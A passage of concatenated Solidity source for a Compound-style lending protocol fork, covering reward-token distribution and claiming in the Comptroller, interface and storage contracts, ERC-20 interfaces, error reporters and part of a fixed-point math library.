for (uint i = 0; i < allMarkets_.length; i++) {
CToken cToken = allMarkets[i];
uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0;
compSpeeds[address(cToken)] = newSpeed;
emit CompSpeedUpdated(cToken, newSpeed);
}
}
/**
* @notice Accrue COMP to the market by updating the supply index
* @param cToken The market whose supply index to update
*/
function updateCompSupplyIndex(address cToken) internal {
CompMarketState storage supplyState = compSupplyState[cToken];
uint supplySpeed = compSpeeds[cToken];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(supplyState.block));
if (deltaBlocks > 0 && supplySpeed > 0) {
uint supplyTokens = CToken(cToken).totalSupply();
uint compAccrued = mul_(deltaBlocks, supplySpeed);
Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: supplyState.index}), ratio);
compSupplyState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
supplyState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
}
/**
* @notice Accrue COMP to the market by updating the borrow index
* @param cToken The market whose borrow index to update
*/
function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal {
CompMarketState storage borrowState = compBorrowState[cToken];
uint borrowSpeed = compSpeeds[cToken];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(borrowState.block));
if (deltaBlocks > 0 && borrowSpeed > 0) {
uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex);
uint compAccrued = mul_(deltaBlocks, borrowSpeed);
Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: borrowState.index}), ratio);
compBorrowState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0) {
borrowState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
}
/**
* @notice Calculate COMP accrued by a supplier and possibly transfer it to them
* @param cToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute COMP to
*/
function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal {
CompMarketState storage supplyState = compSupplyState[cToken];
Double memory supplyIndex = Double({mantissa: supplyState.index});
Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]});
compSupplierIndex[cToken][supplier] = supplyIndex.mantissa;
if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) {
supplierIndex.mantissa = compInitialIndex;
}
Double memory deltaIndex = sub_(supplyIndex, supplierIndex);
uint supplierTokens = CToken(cToken).balanceOf(supplier);
uint supplierDelta = mul_(supplierTokens, deltaIndex);
uint supplierAccrued = add_(compAccrued[supplier], supplierDelta);
compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold);
emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa);
}
/**
* @notice Calculate COMP accrued by a borrower and possibly transfer it to them
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param cToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute COMP to
*/
function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal {
CompMarketState storage borrowState = compBorrowState[cToken];
Double memory borrowIndex = Double({mantissa: borrowState.index});
Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]});
compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa;
if (borrowerIndex.mantissa > 0) {
Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);
uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex);
uint borrowerDelta = mul_(borrowerAmount, deltaIndex);
uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta);
compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold);
emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa);
}
}
/**
* @notice Transfer COMP to the user, if they are above the threshold
* @dev Note: If there is not enough COMP, we do not perform the transfer all.
* @param user The address of the user to transfer COMP to
* @param userAccrued The amount of COMP to (possibly) transfer
* @return The amount of COMP which was NOT transferred to the user
*/
function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) {
if (userAccrued >= threshold && userAccrued > 0) {
Dop dop = Dop(getCompAddress());
uint bloRemaining = dop.balanceOf(address(this));
if (userAccrued <= bloRemaining) {
dop.transfer(user, userAccrued);
return 0;
}
}
return userAccrued;
}
/**
* @notice Claim all the comp accrued by holder in all markets
* @param holder The address to claim COMP for
*/
function claimComp(address holder) public {
return claimComp(holder, allMarkets);
}
/**
* @notice Claim all the comp accrued by holder in the specified markets
* @param holder The address to claim COMP for
* @param cTokens The list of markets to claim COMP in
*/
function claimComp(address holder, CToken[] memory cTokens) public {
address[] memory holders = new address[](1);
holders[0] = holder;
claimComp(holders, cTokens, true, true);
}
/**
* @notice Claim all comp accrued by the holders
* @param holders The addresses to claim COMP for
* @param cTokens The list of markets to claim COMP in
* @param borrowers Whether or not to claim COMP earned by borrowing
* @param suppliers Whether or not to claim COMP earned by supplying
*/
function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public {
for (uint i = 0; i < cTokens.length; i++) {
CToken cToken = cTokens[i];
require(markets[address(cToken)].isListed, "market must be listed");
if (borrowers == true) {
Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()});
updateCompBorrowIndex(address(cToken), borrowIndex);
for (uint j = 0; j < holders.length; j++) {
distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true);
}
}
if (suppliers == true) {
updateCompSupplyIndex(address(cToken));
for (uint j = 0; j < holders.length; j++) {
distributeSupplierComp(address(cToken), holders[j], true);
}
}
}
}
/*** Comp Distribution Admin ***/
/**
* @notice Set the COMP token address
* @param _comp The COMP address
*/
function _setCompAddress(address _comp) public {
require(msg.sender == admin, "not an admin");
comp = _comp;
}
/**
* @notice Set the amount of COMP distributed per block
* @param compRate_ The amount of COMP wei per block to distribute
*/
function _setCompRate(uint compRate_) public {
require(adminOrInitializing(), "not an admin");
uint oldRate = compRate;
compRate = compRate_;
emit NewCompRate(oldRate, compRate_);
refreshCompSpeedsInternal();
}
/**
* @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel
* @param cTokens The addresses of the markets to add
*/
function _addCompMarkets(address[] memory cTokens) public {
require(adminOrInitializing(), "not an admin");
for (uint i = 0; i < cTokens.length; i++) {
_addCompMarketInternal(cTokens[i]);
}
refreshCompSpeedsInternal();
}
function _addCompMarketInternal(address cToken) internal {
Market storage market = markets[cToken];
require(market.isListed == true, "comp market is not listed");
require(market.isComped == false, "comp market already added");
market.isComped = true;
emit MarketComped(CToken(cToken), true);
if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) {
compSupplyState[cToken] = CompMarketState({
index: compInitialIndex,
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
}
if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) {
compBorrowState[cToken] = CompMarketState({
index: compInitialIndex,
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
}
}
/**
* @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel
* @param cToken The address of the market to drop
*/
function _dropCompMarket(address cToken) public {
require(msg.sender == admin, "not an admin");
Market storage market = markets[cToken];
require(market.isComped == true, "market is not a comp market");
market.isComped = false;
emit MarketComped(CToken(cToken), false);
refreshCompSpeedsInternal();
}
/**
* @notice Return all of the markets
* @dev The automatic getter may be used to access an individual market.
* @return The list of market addresses
*/
function getAllMarkets() public view returns (CToken[] memory) {
return allMarkets;
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
/**
* @notice Return the address of the COMP token
* @return The address of COMP
*/
function getCompAddress() public view returns (address) {
return comp;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory);
function exitMarket(address cToken) external virtual returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external virtual returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external virtual;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external virtual returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external virtual;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external virtual returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external virtual;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external virtual returns (uint, uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
import "./PriceOracle.sol";
contract UnitrollerAdminStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active brains of Unitroller
*/
address public comptrollerImplementation;
/**
* @notice Pending brains of Unitroller
*/
address public pendingComptrollerImplementation;
}
contract ComptrollerV1Storage is UnitrollerAdminStorage {
/**
* @notice Oracle which gives the price of any given asset
*/
PriceOracle public oracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint public closeFactorMantissa;
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint public liquidationIncentiveMantissa;
/**
* @notice Max number of assets a single account can participate in (borrow or use as collateral)
*/
uint public maxAssets;
/**
* @notice Per-account mapping of "assets you are in", capped by maxAssets
*/
mapping(address => CToken[]) public accountAssets;
}
contract ComptrollerV2Storage is ComptrollerV1Storage {
struct Market {
/// @notice Whether or not this market is listed
bool isListed;
/**
* @notice Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be between 0 and 1, and stored as a mantissa.
*/
uint collateralFactorMantissa;
/// @notice Per-market mapping of "accounts in this asset"
mapping(address => bool) accountMembership;
/// @notice Whether or not this market receives COMP
bool isComped;
}
/**
* @notice Official mapping of cTokens -> Market metadata
* @dev Used e.g. to determine if a market is supported
*/
mapping(address => Market) public markets;
/**
* @notice The Pause Guardian can pause certain actions as a safety mechanism.
* Actions which allow users to remove their own assets cannot be paused.
* Liquidation / seizing / transfer can only be paused globally, not by market.
*/
address public pauseGuardian;
bool public _mintGuardianPaused;
bool public _borrowGuardianPaused;
bool public transferGuardianPaused;
bool public seizeGuardianPaused;
mapping(address => bool) public mintGuardianPaused;
mapping(address => bool) public borrowGuardianPaused;
}
contract ComptrollerV3Storage is ComptrollerV2Storage {
struct CompMarketState {
/// @notice The market's last updated compBorrowIndex or compSupplyIndex
uint224 index;
/// @notice The block number the index was last updated at
uint32 block;
}
/// @notice A list of all markets
CToken[] public allMarkets;
/// @notice The rate at which the flywheel distributes COMP, per block
uint public compRate;
/// @notice The portion of compRate that each market currently receives
mapping(address => uint) public compSpeeds;
/// @notice The COMP market supply state for each market
mapping(address => CompMarketState) public compSupplyState;
/// @notice The COMP market borrow state for each market
mapping(address => CompMarketState) public compBorrowState;
/// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP
mapping(address => mapping(address => uint)) public compSupplierIndex;
/// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP
mapping(address => mapping(address => uint)) public compBorrowerIndex;
/// @notice The COMP accrued but not yet transferred to each user
mapping(address => uint) public compAccrued;
}
contract ComptrollerV4Storage is ComptrollerV3Storage {
// @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market.
address public borrowCapGuardian;
// @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing.
mapping(address => uint) public borrowCaps;
// address of comp token
address public comp;
}
contract ComptrollerV5Storage is ComptrollerV4Storage {
/// @notice The portion of COMP that each contributor receives per block
mapping(address => uint) public compContributorSpeeds;
/// @notice Last block at which a contributor's COMP rewards have been allocated
mapping(address => uint) public lastContributorBlock;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return balance The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return success Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return success Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return success Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return remaining The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return balance The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return success Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return remaining The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
COMPTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
COMPTROLLER_REJECTION,
COMPTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_COMPTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_COMPTROLLER_REJECTION,
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_COMPTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_COMPTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_COMPTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COMPTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_COMPTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CarefulMath.sol";
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
